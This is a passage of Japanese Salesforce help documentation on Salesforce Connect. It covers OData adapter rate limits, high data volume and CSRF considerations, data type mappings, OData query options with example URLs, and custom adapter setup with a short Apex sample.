回で済みます。このネットワーク遅延 (往復処理あたり 100 ミリ秒) では、結果を取得する所要時間が 0.5 秒
(5 × 100 ミリ秒) になります。

• サポートされている OData のデータ型の一覧は、Salesforce ヘルプの「OData のデータ型の対応付け」を参照
してください。

• 外部データソースが OData 4.0 アダプタと JSON 形式を使用する場合、OData プロデューサが、
odata.metadata=full 形式のパラメータが含まれるヘッダーを受け入れることを確認します。
odata.metadata=minimal など、他のバリエーションはサポートされていません。

関連トピック:

Salesforce Connect の OData 2.0 または 4.0 アダプタ
OData クエリ文字列オプション
OData のデータ型の対応付け

Salesforce Connect — OData 2.0 および 4.0 アダプタの OData コールアウトのレート制限に関する考
慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

外部オブジェクトは、Salesforce 外に保存されているデータを参照します。外部
オブジェクトへのアクセスには、それに関連付けられた外部システムへのコー
ルアウトが含まれます。Salesforce では、コールアウトに次のレート制限が適用
されます。
組織には次の制限があります。
• Enterprise Edition、Performance Edition、および Unlimited Edition では、1 時間あたり

10,000 個の OData コールアウト。要求に応じて制限を緩和できます。
• Developer Edition では、1 時間あたり 1,000 個の OData コールアウト。
組織の制限を取得し、その制限に対する現在の利用状況を把握するには、Force.com

REST API の Limits リソースを使用します。
Salesforce は、次の場合に毎回 OData コールアウトを実行します。
• リストビューの外部オブジェクトタブをユーザがクリックした。
• 外部オブジェクトのレコード詳細ページをユーザが表示した。
• 子外部オブジェクトレコードの関連リストを表示する親オブジェクトのレコード詳細ページをユーザが表

示した。
• ユーザが Salesforce グローバル検索を実行した。
• ユーザが外部オブジェクトレコードを作成、編集、または削除した
• ユーザがレポートを実行した。
• レポートビルダーでプレビューが読み込まれた。
• フロー、API、Apex、SOQL、または SOSL 経由で外部オブジェクトをクエリした。
• 外部データソースの検証または同期を行った。
ユーザまたはアプリケーションの OData コールアウトでレート制限エラーが発生した場合は、次の処理を 1 つ
以上実行します。
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• 外部データソース定義で、[高データボリューム] を選択する。このオプションを選択すると、ほとんどの
レート制限が迂回されますが、一部の特殊動作と制限は適用されます。

• 実行する SOQL クエリおよび SOSL クエリの数を削減する。
• 外部システムを呼び出すApexコードがある場合、頻繁にアクセスするがほとんど変更しない外部データを

キャッシュするようにそのコードを変更する。
• Salesforce に依頼して制限を引き上げる。

関連トピック:

Force.com REST API 開発者ガイド: 組織の制限をリストする
Salesforce Connect — OData 2.0 および 4.0 アダプタに関する高データボリュームの考慮事項
Salesforce Connect の OData 2.0 または 4.0 アダプタ
Salesforce Connect — OData 2.0 および 4.0 アダプタに関する考慮事項

Salesforce Connect — OData 2.0 および 4.0 アダプタに関する高データボリュームの考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

組織で外部オブジェクトにアクセスするときにレート制限に達する場合は、関
連付けられた外部データソースで [高データボリューム] オプションを選択する
ことを検討してください。このオプションを選択すると、ほとんどのレート制
限が迂回されますが、一部の特殊動作と制限は適用されます。
• 大量データの外部データソースに関連付けられた外部オブジェクトに、次の

機能は使用できません。
– Lightning Experience によるアクセス
– Salesforce1 によるアクセス
– [最近使ったデータ] リストの表示
– レコードフィード
– レポートとダッシュボード
– 書き込み可能な外部オブジェクト

• Salesforce ID は、大量データの外部データソースに関連付けられた外部オブジェクトレコードには割り当て
られません。

• 大量データの外部データソースに関連付けられた外部オブジェクトのレコード詳細ページでは、JavaScript

を呼び出すカスタムボタンとカスタムリンクがサポートされません。
• Salesforce ClassicのSalesforce コンソールでは、大量データの外部データソースに関連付けられた外部オブジェ

クトがサポートされません。
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• 書き込み可能な外部オブジェクトの CSRF 保護は、高データボリュームの外部データソースには使用できま
せん。

関連トピック:

Force.com REST API 開発者ガイド: 組織の制限をリストする
Salesforce Connect — OData 2.0 および 4.0 アダプタの OData コールアウトのレート制限に関する考慮事項
Salesforce Connect — OData 2.0 および 4.0 アダプタに関する CSRF の考慮事項
Salesforce Connect — OData 2.0 または 4.0 アダプタの外部データソースの定義

Salesforce Connect — OData 2.0 および 4.0 アダプタに関する Socrata™ の考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Socrata Open Data Protocol™は、医療データや政府とその市民の協働に広く使用され
ています。Salesforce Connectは、Socrata Open Data Portal を基盤とするエンドポイン
トからのデータにアクセスできます。Socrata 固有の要件に対応するには、外部
データソースの [特殊な互換性] 項目を Socrata に設定します。
Socrata では、OData クエリの $select または $orderby 句の行識別子 (_id) 列
はサポートされていません。[特殊な互換性] 項目で Socrata が選択されている場
合は、次の点に留意してください。
• OData クエリに $select 句の _id 列は含まれません。
• _id 列が Socrata エンドポイントから同期された場合、その結果の外部オブ

ジェクトのカスタム項目は並び替えできません。
• [外部列の名前] として _id を含む外部オブジェクトのカスタム項目を手動

で定義した場合は、そのカスタム項目に [並び替えは無効化されています]属
性を選択していることを確認してください。

外部データソースの [特殊な互換性] 項目を変更した場合は、その外部オブジェクトを再同期することをお勧
めします。または、代わりに外部オブジェクトへのクエリまたはユーザアクセスがエラーになるかどうかをテ
ストし、問題のある外部オブジェクトのみを再同期できます。

関連トピック:

Salesforce Connect — OData 2.0 または 4.0 アダプタの外部データソースの定義
Salesforce Connect — OData 2.0 および 4.0 アダプタに関する考慮事項
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Salesforce Connect — OData 2.0 および 4.0 アダプタに関する CSRF の考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

OData 外部データソースのクロスサイトリクエストフォージェリ (CSRF) における
特殊な動作、制限、および推奨事項について理解します。
• CSRF 保護は、大量データの外部データソースでは使用できません。
• セキュアな HTTP によって対 CSRF トークンおよび Cookieへの不正アクセスを防

ぐことができるように、外部データソースの URL の先頭が https:// である
ことを確認します。

• 外部データソースでの CSRF 保護の有効化に加えて、組織のセッションセキュ
リティ設定での CSRF 保護を有効にしておくことをお勧めします。このセッ
ション設定はデフォルトで有効であり、Salesforce データおよび外部データを
CSRF 攻撃から保護できます。
– 設定ページ以外の GET 要求の CSRF 保護を有効化
– 設定ページ以外の POST 要求の CSRF 保護を有効化

関連トピック:

Salesforce Connect — OData 2.0 または 4.0 アダプタの外部データソースの定義
セッションセキュリティ設定の変更

Salesforce Connect — OData 2.0 および 4.0 アダプタの OData の参照

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce Connectを使用する外部システムにアクセスするための Open Data Protocol

(OData) の Salesforce 実装について把握します。

OData のデータ型の対応付け
Salesforce と外部システム間でメタデータを同期して値を変換するときに、
Salesforce Connect は OData のデータ型を Salesforce メタデータのデータ型に対応
付けます。
OData クエリ文字列オプション
Salesforce Connectの OData アダプタでは、OData 2.0 および 4.0 システム機能のサ
ブセットと検索条件式コンストラクトを使用して、外部システムをクエリし
ます。

関連トピック:

Salesforce Connect の OData 2.0 または 4.0 アダプタ
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OData のデータ型の対応付け

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforceと外部システム間でメタデータを同期して値を変換するときに、Salesforce

Connect は OData のデータ型を Salesforce メタデータのデータ型に対応付けます。

OData 2.0 のデータ型の対応付け
Salesforce Connect の OData 2.0 アダプタが OData のデータ型を Salesforce メタデー
タのデータ型に対応付ける方法について説明します。
OData 4.0 のデータ型の対応付け
Salesforce Connect の OData 4.0 アダプタが OData のデータ型を Salesforce メタデー
タのデータ型に対応付ける方法について説明します。

OData 2.0 のデータ型の対応付け

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce Connect の OData 2.0 アダプタが OData のデータ型を Salesforce メタデータ
のデータ型に対応付ける方法について説明します。
Salesforceと外部システム間でメタデータを同期して値を変換するときに、Salesforce

Connect では次のデータ型のみサポートされます。

OData 2.0 プリミティブ型

Salesforce メタデータのデータ型OData 2.0 のデータ型

TextAreaBinary

CheckboxBoolean

NumberByte

DateTimeDateTime

DateTimeDateTimeOffset

NumberDecimal

NumberDouble

TextGuid

NumberInt16

NumberInt32

NumberInt64

NumberSByte

NumberSingle
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Salesforce メタデータのデータ型OData 2.0 のデータ型

Text — OData 文字列の宣言された列の長さが 255 文字
以下の場合
LongTextArea — OData 文字列の宣言された列の長さが
255 文字を超える場合

String

TextTime

ヒント: 外部システムのバイナリ値は、Salesforce では Base64 エンコード文字列として表されます。
EncodingUtil.base64Decode(inputString) Apex メソッドを使用して、これを Blob 型の値に変換
できます。

OData 2.0 複合型
Salesforce Connect では、次の OData 複合型がサポートされます。
• 複合型の外部データは、項目名と値が含まれる文字列にフラット化されます。たとえば、住所は次の文字

列にフラット化されます。
Street: 55 East 5th Street, City: New York, State: NY, Zip: 10003

• 外部システムで OData 複合型に関連付けられた外部オブジェクトカスタム項目は、その外部オブジェクト
が書き込み可能な場合でも常に参照のみ可能です。

関連トピック:

Salesforce Connect — すべてのアダプタの同期に関する考慮事項
Salesforce Connect — OData 2.0 および 4.0 アダプタの OData の参照
Apex 開発者ガイド: EncodingUtil クラス: base64Decode(inputString)

OData 4.0 のデータ型の対応付け

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce Connect の OData 4.0 アダプタが OData のデータ型を Salesforce メタデータ
のデータ型に対応付ける方法について説明します。
Salesforceと外部システム間でメタデータを同期して値を変換するときに、Salesforce

Connect では次のデータ型のみサポートされます。

OData 4.0 プリミティブ型

Salesforce メタデータのデータ型OData 4.0 のデータ型

TextAreaBinary

CheckboxBoolean

NumberByte
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Salesforce メタデータのデータ型OData 4.0 のデータ型

DateTimeDate

DateTimeDateTimeOffset

NumberDecimal

NumberDouble

TextGuid

NumberInt16

NumberInt32

NumberInt64

NumberSByte

NumberSingle

Text — OData 文字列の宣言された列の長さが 255 文字
以下の場合
LongTextArea — OData 文字列の宣言された列の長さが
255 文字を超える場合

String

ヒント: 外部システムのバイナリ値は、Salesforce では Base64 エンコード文字列として表されます。
EncodingUtil.base64Decode(inputString) Apex メソッドを使用して、これを Blob 型の値に変換
できます。

OData 4.0 複合型
Salesforce Connect では、次の OData 複合型がサポートされます。
• 複合型の外部データは、項目名と値が含まれる文字列にフラット化されます。たとえば、住所は次の文字

列にフラット化されます。
Street: 55 East 5th Street, City: New York, State: NY, Zip: 10003

• 外部システムで OData 複合型に関連付けられた外部オブジェクトカスタム項目は、その外部オブジェクト
が書き込み可能な場合でも常に参照のみ可能です。

関連トピック:

Salesforce Connect — すべてのアダプタの同期に関する考慮事項
Salesforce Connect — OData 2.0 および 4.0 アダプタの OData の参照
Apex 開発者ガイド: EncodingUtil クラス: base64Decode(inputString)
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OData クエリ文字列オプション

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce Connect の OData アダプタでは、OData 2.0 および 4.0 システム機能のサブ
セットと検索条件式コンストラクトを使用して、外部システムをクエリします。
ユーザまたは Force.com プラットフォームによる外部オブジェクトの操作が行わ
れた場合、Salesforce Connectの OData 2.0 または 4.0 アダプタはそれらの操作を OData

クエリに変換します。Salesforceは、次の場合に毎回 OData コールアウトを実行し
ます。
• リストビューの外部オブジェクトタブをユーザがクリックした。
• 外部オブジェクトのレコード詳細ページをユーザが表示した。
• 子外部オブジェクトレコードの関連リストを表示する親オブジェクトのレ

コード詳細ページをユーザが表示した。
• ユーザが Salesforce グローバル検索を実行した。
• ユーザが外部オブジェクトレコードを作成、編集、または削除した
• ユーザがレポートを実行した。
• レポートビルダーでプレビューが読み込まれた。
• フロー、API、Apex、SOQL、または SOSL 経由で外部オブジェクトをクエリした。
• 外部データソースの検証または同期を行った。
次のセクションでは、OData サービスのコンシューマとしての Salesforce Connect の実装について説明します。
Salesforce によって OData クエリが自動的に作成されるため、システム管理者や開発者が作成する必要はありま
せん。ただし、OData クエリの生成方法を理解し、手動で OData クエリを試すことは、外部システムの OData プ
ロデューサの問題をトラブルシューティングするために役立ちます。各システムクエリオプションについての
詳細は、www.odata.orgを参照してください。
Salesforce Connectでは、次の OData システムクエリオプションのみサポートされます。OData 2.0 および 4.0 仕様の
その他すべてのオプションは使用されません。
• $count  (OData 4.0 のみ) (ページ 6423)

• $filter (ページ 6424)

• $inlinecount  (OData 2.0 のみ) (ページ 6424)

• $orderby (ページ 6425)

• $search  (OData 4.0 のみ) (ページ 6425)

• $select (ページ 6425)

• $skip (ページ 6426)

• $top (ページ 6426)

• OData 2.0 カスタムクエリオプション (ページ 6426)

$count  (OData 4.0 のみ)

$filter システムクエリオプションの適用後で、$top および $skip システムクエリオプションの適用前に
URI で識別される行数を応答に含める必要があることを指定します。
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外部データソースで [要求の行数] が有効になっている場合、Salesforce はその外部データソースのすべての
OData 4.0 クエリに $count=trueを挿入し、各結果セットの合計項目数を判断します。[要求の行数]が無効に
なっている場合、Salesforce は外部データソースのすべての OData 4.0 クエリに $count=false を挿入します。

例

外部オブジェクトの表示またはアクセスSalesforce での
ユーザアクショ
ン

外部オブジェクトの任意の SOQL クエリSOQL クエリ
http://services.example.org/my.svc/Suppliers?$select=SupplierID&
$count=true&$top=26

結果の OData クエ
リ

$filter

要求 URL でアドレス指定されたリソースのコレクションを絞り込みます。リソースには、true と評価された
結果が含まれます。

例

国が米国に絞り込まれた納入業者レコードから市区郡のリストビューを開きます。Salesforce での
ユーザアクショ
ン

SELECT City__c FROM Suppliers__x WHERE Country__c = 'USA' ORDER BY
City__c ASC LIMIT 26

SOQL クエリ

http://services.example.org/my.svc/Suppliers?$orderby=City&
$select=City,SupplierID&$inlinecount=allpages&$filter=Country+eq+'USA'&
$top=26

結果の OData クエ
リ

$inlinecount  (OData 2.0 のみ)

$filter システムクエリオプションの適用後で、$top および $skip システムクエリオプションの適用前に
URI で識別される行数を応答に含める必要があることを指定します。
外部データソースで [要求の行数] が有効になっている場合、Salesforce はその外部データソースのすべての
OData 2.0 クエリにある $inlinecount を使用して、各結果セットの合計項目数を判断します。[要求の行数]

が無効になっている場合、$inlinecountは外部データソースのすべての OData 2.0 クエリから除外されます。

例

外部オブジェクトの表示またはアクセスSalesforce での
ユーザアクショ
ン

外部オブジェクトの任意の SOQL クエリ。SOQL クエリ
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例

http://services.example.org/my.svc/Suppliers?$select=SupplierID&
$inlinecount=allpages&$top=26

結果の OData クエ
リ

$orderby

結果セットを昇順または降順に並び替えます。

例

会社名で並び替えられた納入業者レコードのリストビューを開きます。Salesforce での
ユーザアクショ
ン

SELECT CompanyName__c,ContactName__c FROM Suppliers__x ORDER BY
CompanyName__c ASC LIMIT 26

SOQL クエリ

http://services.example.org/my.svc/Suppliers?$orderby=CompanyName&
$select=CompanyName,ContactName,SupplierID&$inlinecount=allpages&$top=26

結果の OData クエ
リ

$search  (OData 4.0 のみ)

フリーテキスト検索式として、検索クエリ文字列と一致するエンティティを要求します。このオプションを有
効にするには、外部データソースの [自由テキスト検索式を使用] を選択します。
デフォルトでは、[自由テキスト検索式を使用] は無効です。検索クエリ文字列は $filter システムクエリオ
プションの contains 値として使用されます。

例

外部オブジェクトの表示またはアクセスSalesforce での
ユーザアクショ
ン

外部オブジェクトの任意の SOQL クエリSOQL クエリ
http://services.example.org/my.svc/Shippers?
$select=CompanyName,Phone,ShipperID&$count=true&$search=Acme&$top=26

結果の OData クエ
リ

$select

エンティティごとに制限されたプロパティのセットを要求します。

例

会社名と取引先責任者名がページレイアウトに表示される納入業者レコードのリストビュー
を開きます。

Salesforce での
ユーザアクショ
ン
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例

SELECT CompanyName__c,ContactName__c FROM Suppliers__x ORDER BY
CompanyName__c ASC LIMIT 26

SOQL クエリ

http://services.example.org/my.svc/Suppliers?$orderby=CompanyName&
$select=CompanyName,ContactName,SupplierID&$inlinecount=allpages&$top=26

結果の OData クエ
リ

$skip

クエリ対象のコレクションで結果セットに含めない項目数を指定します。

例

クリックして、市区郡で並び替えられた納入業者レコードのリストビューの 2 ページ目を
表示します。

Salesforce での
ユーザアクショ
ン

SELECT City__c,CompanyName__c FROM Suppliers__x ORDER BY City__c ASC
OFFSET 25

SOQL クエリ

http://services.example.org/my.svc/Suppliers?$orderby=City&
$select=City,CompanyName,SupplierID&$inlinecount=allpages&$top=26&
$skip=25

結果の OData クエ
リ

$top

クエリ対象のコレクションで結果に含める項目数を指定します。SOQLクエリの LIMIT 句の値は、要求された
$top 値と一致しないことがあります。これは、クライアント駆動ページングおよび queryMore() コールの
要件に合わせて $top が変更されるためです。

例

上位 25 件の納入業者レコードのリストビューを開きます。Salesforce での
ユーザアクショ
ン

SELECT SupplierID__c FROM Suppliers__x LIMIT 25SOQL クエリ
http://services.example.org/my.svc/Suppliers?$select=SupplierID&
$inlinecount=allpages&$top=26

結果の OData クエ
リ

OData 2.0 カスタムクエリオプション
OData プロデューサがカスタムクエリ文字列オプションをサポートしている場合は、外部データソース定義の
[Salesforce 検索のカスタムクエリオプション] 項目にクエリ文字列パラメータの名前を入力します。カス
タムクエリオプションがない場合は、検索クエリ文字列が$filterシステムクエリオプションのsubstringof

値として使用されます。
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例

http://services.example.org/my.svc/Shippers?
$select=CompanyName,Phone,ShipperID&$inlinecount=allpages&

カスタムクエリ
パラメータのな
い OData クエリ $filter=substringof('Acme',CompanyName)+eq+true+

or+substringof('Acme',Phone)+eq+true&$top=26

http://services.example.org/my.svc/Shippers?
$select=CompanyName,Phone,ShipperID&
$inlinecount=allpages&doSearch=Acme&$top=26

「doSearch」とい
う名前のカスタ
ムクエリパラ
メータがある
OData クエリ

関連トピック:

Salesforce Connect — OData 2.0 および 4.0 アダプタに関する OData プロデューサの考慮事項
Salesforce Connect — OData 2.0 および 4.0 アダプタの OData の参照
Salesforce Connect — OData 2.0 および 4.0 アダプタのクライアント駆動ページングとサーバ駆動ページング

Salesforce Connect のカスタムアダプタを使用した外部データへのアクセス
Apex コネクタフレームワークでカスタムアダプタを作成することにより、ユーザがどこにあるどのようなデー
タにも接続できるようにします。

Salesforce Connect のカスタムアダプタ
どこにあるデータにでも接続し、ビジネスの全体像を把握できます。Apex Connector Frameworkを使用して、
Salesforce Connect のカスタムアダプタを開発します。
Salesforce Connect によるカスタムアダプタを使用した外部データへのアクセスの設定
ユーザは、Salesforce 組織内から、どこにあるデータでも表示、検索、および変更できます。
Salesforce Connect — カスタムアダプタの考慮事項
Salesforce Connect のカスタムアダプタを使用する場合の特殊な動作、制限、および推奨事項について理解し
ます。
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Salesforce Connect のカスタムアダプタ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

どこにあるデータにでも接続し、ビジネスの全体像を把握できます。Apex Connector

Framework を使用して、Salesforce Connect のカスタムアダプタを開発します。
ユーザおよびForce.comプラットフォームは、外部オブジェクトを介して外部デー
タを操作します。こうした外部データを操作するたびに、Salesforce Connect は、
カスタムアダプタを構成する Apex クラスのメソッドを呼び出します。Salesforce

は、次のことが発生するたびにカスタムアダプタのApexコードを呼び出します。
• リストビューの外部オブジェクトタブをユーザがクリックした。
• 外部オブジェクトのレコード詳細ページをユーザが表示した。
• 子外部オブジェクトレコードの関連リストを表示する親オブジェクトのレ

コード詳細ページをユーザが表示した。
• ユーザが Salesforce グローバル検索を実行した。
• ユーザが外部オブジェクトレコードを作成、編集、または削除した
• ユーザがレポートを実行した。
• レポートビルダーでプレビューが読み込まれた。
• フロー、API、Apex、SOQL、または SOSL 経由で外部オブジェクトをクエリした。
• 外部データソースの検証または同期を行った。
Apex Connector Framework の使用方法についての詳細は、『Force.com Apex コード開発者ガイド』の「Salesforce

Connect」および「DataSource 名前空間」を参照してください。

Salesforce Connect — カスタムアダプタの外部オブジェクトの外部 ID

Salesforce Connect のカスタムアダプタを使用して外部データにアクセスする場合、外部オブジェクトの外部
ID 標準項目の値は、ExternalId という名前の DataSource.Column から取得されます。

関連トピック:

Salesforce Connect

Salesforce Connect によるカスタムアダプタを使用した外部データへのアクセスの設定
Salesforce Connect — カスタムアダプタの考慮事項
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Salesforce Connect — カスタムアダプタの外部オブジェクトの外部 ID

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce Connectのカスタムアダプタを使用して外部データにアクセスする場合、
外部オブジェクトの外部 ID 標準項目の値は、ExternalId という名前の
DataSource.Column から取得されます。
各外部オブジェクトには [外部 ID] 標準項目があります。その値により、組織
内の各外部オブジェクトレコードが一意に識別されます。外部オブジェクトが
外部参照関係で親の場合、外部 ID標準項目が子レコードの識別に使用されます。

重要:

• カスタムアダプタの Apex コードでは、ExternalId という名前の
DataSource.Column を宣言し、その値を指定する必要があります。

• 外部 ID 標準項目の値は、Salesforce に保存される場合があるため、機密
データを使用しないでください。
– 子レコードの外部参照関係項目に、親レコードの外部 ID 値が保存お

よび表示されます。
– Salesforce では、内部使用のみを目的として、外部システムから取得

された各行の外部 ID 値を保存します。この動作は、大量データの外
部データソースに関連付けられた外部オブジェクトには適用されま
せん。

例: このサンプル DataSource.Connection クラスからの抜粋は、ExternalId という名前の
DataSource.Column を示しています。

override global List<DataSource.Table> sync() {
List<DataSource.Table> tables =
new List<DataSource.Table>();

List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
columns.add(DataSource.Column.text('title', 255));
columns.add(DataSource.Column.text('description',255));
columns.add(DataSource.Column.text('createdDate',255));
columns.add(DataSource.Column.text('modifiedDate',255));
columns.add(DataSource.Column.url('selfLink'));
columns.add(DataSource.Column.url('DisplayUrl'));
columns.add(DataSource.Column.text('ExternalId',255));
tables.add(DataSource.Table.get('googleDrive','title',

columns));
return tables;
}

関連トピック:

Salesforce Connect のカスタムアダプタ
Apex 開発者ガイド
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Salesforce Connect によるカスタムアダプタを使用した外部データへのアクセスの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

「Apex 開発」Apex クラスを作成する

「すべてのデータの編集」リモート設定を定義する

「アプリケーションのカスタマイズ」外部データソースを作成および編集する

「アプリケーションのカスタマイズ」外部オブジェクトを作成、編集する

「アプリケーションのカスタマイズ」オブジェクトレベルのヘルプを定義また
は変更する

「アプリケーションのカスタマイズ」カスタム項目を作成、編集する

「プロファイルと権限セットの管理」権限セットとユーザプロファイルを編集
する

「ユーザの管理」外部システムの別のユーザの認証設定を
編集する

ユーザは、Salesforce 組織内から、どこにあるデータでも表示、検索、および変更できます。
カスタムアダプタを使用した Salesforce Connect の設定手順の概要は、次のとおりです。
1. Salesforce Connect のカスタムアダプタを開発します。

Apex Connector Framework を使用して、カスタムアダプタを構成する DataSource.Connection および
DataSource.Provider クラスを作成します。

2. Apex コールアウトのリモートサイトを定義します。
カスタムアダプタにApexコールアウトが含まれる場合、各コールアウトエンドポイントを組織のリモート
サイトとして定義します。ただし、URL ではなく、指定ログイン情報としてエンドポイントが指定されてい
るコールアウトにリモートサイトを定義する必要はありません。

3. Salesforce Connect: Custom 型の外部データソースを定義します。
複数のカスタムアダプタを作成した場合、外部データソースの [型]項目に正しい DataSource.Provider

クラスが指定されていることを確認します。
4. 外部オブジェクトを作成します。

この作業は、同期によって自動的に外部オブジェクトを作成する場合以外に実行します。Salesforce 組織か
らアクセスする外部データテーブルごとに外部オブジェクトを作成します。

5. 外部オブジェクトのヘルプコンテンツを作成します。
外部データを説明する Visualforce ページを作成します。ユーザが外部オブジェクトの [このページのヘルプ]

をクリックすると、カスタムヘルプコンテンツが表示されます。Salesforce ヘルプには、外部データに関す
る情報は記載されていません。

6. カスタム項目とリレーションを外部オブジェクトに追加します。
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オブジェクト間のリレーションを作成します。同期によって自動的に外部オブジェクトとその項目を作成
した場合を除き、Salesforce 組織からアクセスする外部テーブル列ごとにカスタム項目を作成します。

7. 外部オブジェクトへのユーザアクセスを有効化します。
権限セットまたはプロファイルを使用して、オブジェクト権限を付与します。

8. 外部オブジェクトの項目へのユーザアクセス権を有効化します。
権限セットまたはプロファイルを使用して、項目権限を付与します。

9. 外部データソースでユーザごとの認証を使用している場合は、次の手順を実行します。
a. ユーザが外部システムに対して認証を行います。

権限セットまたはプロファイルを使用して、ユーザに外部データソースの認証設定へのアクセス権を付
与します。

b. 各ユーザの認証設定を行います。
この作業は、システム管理者またはユーザが実行できます。

ヒント: ユーザに、外部システムの認証を設定する方法のトレーニングを実施します。ユーザが、
外部システムごとにどのログイン情報を入力すればよいか把握したことを確認します。OAuth 2.0 を
使用している場合、OAuth フローに紛らわしいプロンプトやリダイレクトがないかテストし、必要
に応じてユーザにトレーニングを実施します。OAuth フローは、外部システム、認証プロバイダ、
指定された範囲によって異なります。

Salesforce Connect — カスタムアダプタの外部データソースの定義
Apex Connector Frameworkで作成した Salesforce Connectカスタムアダプタを使用して、Salesforce組織をどこにあ
るどのようなデータにも接続できます。

関連トピック:

Salesforce Connect のカスタムアダプタ
Salesforce Connect — すべてのアダプタの考慮事項
開発者ガイド: Visualforce 開発者ガイド
外部オブジェクトリレーション
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Salesforce Connect — カスタムアダプタの外部データソースの定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

外部データソースを作成
および編集する
• 「アプリケーションの

カスタマイズ」

Apex Connector Framework で作成した Salesforce Connect カスタムアダプタを使用し
て、Salesforce 組織をどこにあるどのようなデータにも接続できます。
開始する前に、Salesforce Connect のカスタムアダプタを開発します。カスタムア
ダプタで Apex コールアウトを使用する場合、コールアウトエンドポイントのリ
モートサイトも定義します。「Salesforce Connect によるカスタムアダプタを使用
した外部データへのアクセスの設定」 (ページ 6430)を参照してください。
1. [設定] から、[クイック検索] ボックスに「外部データソース」と入力し、[外

部データソース] を選択します。
2. [新規External Data Source] をクリックするか、[編集] をクリックして既存の外

部データソースを変更します。
3. 項目を入力します。

説明項目

ユーザにわかりやすい外部データソースの名前。表示ラ
ベルは、リストビューなどの Salesforce ユーザインター
フェースに表示されます。
[ID 種別]を [ユーザ]に設定すると、ユーザが外部シス
テムの認証設定を表示または編集するときに、この表示
ラベルが表示されます。

表示ラベル

API からこの外部データソース定義を参照する場合に使
用される一意の ID。
名前には、アンダースコアと英数字のみを使用できま
す。一意であること、最初は文字であること、空白は使

名前

用しない、最後にアンダースコアを使用しない、2 つ続
けてアンダースコアを使用しないという制約がありま
す。

[Salesforce Connect: カスタム—<DataSource.Provider

クラス名>] を選択します。
種類

外部システムの URL。
DataSource.Provider クラスが REQUIRE_ENDPOINT

機能を宣言する場合にのみ使用できます。クラスが

URL

REQUIRE_HTTPS機能も宣言する場合、URL は https://

で開始する必要があります。
指定ログイン情報でエンドポイントが定義されている場
合は、指定されたログイン情報 URL を入力します。指定
ログイン情報 URL にはスキーム「callout:」、指定ロ
グイン情報の名前、必要に応じて追加されたパスが含ま
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説明項目

れます。例: callout:My_Named_Credential/some_path。
クエリ文字列を指定ログイン情報 URL に追加できます。指定ログイン情報 URL

とクエリ文字列の間の区切り文字として疑問符 (?) を使用します。たとえば、
callout:My_Named_Credential/some_path?format=json です。

この組織の Force.com プラットフォームとユーザが、外部データソースに関連
付けられている外部オブジェクトのレコードの作成、更新、削除ができるよう

書き込み可能外部オブジェ
クト

にします。外部オブジェクトデータは組織外に保存されます。デフォルトで
は、外部オブジェクトは参照のみです。

Salesforceでは、外部システムからのデータの取得および表示にレート制限が適
用されます。組織で外部オブジェクトにアクセスするときにレート制限に達す

高データボリューム

る場合は、関連付けられた外部データソースで [高データボリューム]オプショ
ンを選択することを検討してください。このオプションを選択すると、ほとん
どのレート制限が迂回されますが、一部の特殊動作と制限は適用されます。
「Salesforce Connect — カスタムアダプタでの高データボリュームの考慮事項」
(ページ 6437)を参照してください。

証明書を指定する場合、Salesforce 組織が、各外部システムとの双方向 SSL 接続
確立時に証明書を提供します。この証明書は、要求がユーザのSalesforce組織か
らのものであることを確認するデジタル署名に使用されます。
DataSource.Providerクラスが CERTIFICATE認証機能を宣言する場合にの
み使用できます。

証明書

外部システムへのアクセスに 1 セットのログイン情報と複数セットのログイン
情報のどちらを使用するかを決定します。「外部データソースの ID 種別」 (ペー
ジ 6359)を参照してください。
DataSource.Providerクラスが BASICまたは OAUTH認証機能を宣言する場
合にのみ使用できます。

ID 種別

4. 認証プロトコルを選択します。
• [パスワード認証]を選択した場合は、外部システムにアクセスするためのユーザ名とパスワードを入力

します。
パスワード認証は、DataSource.Provider クラスが BASIC 認証機能を宣言する場合にのみ使用でき
ます。

• [OAuth 2.0] を選択した場合は、次の項目を入力します。
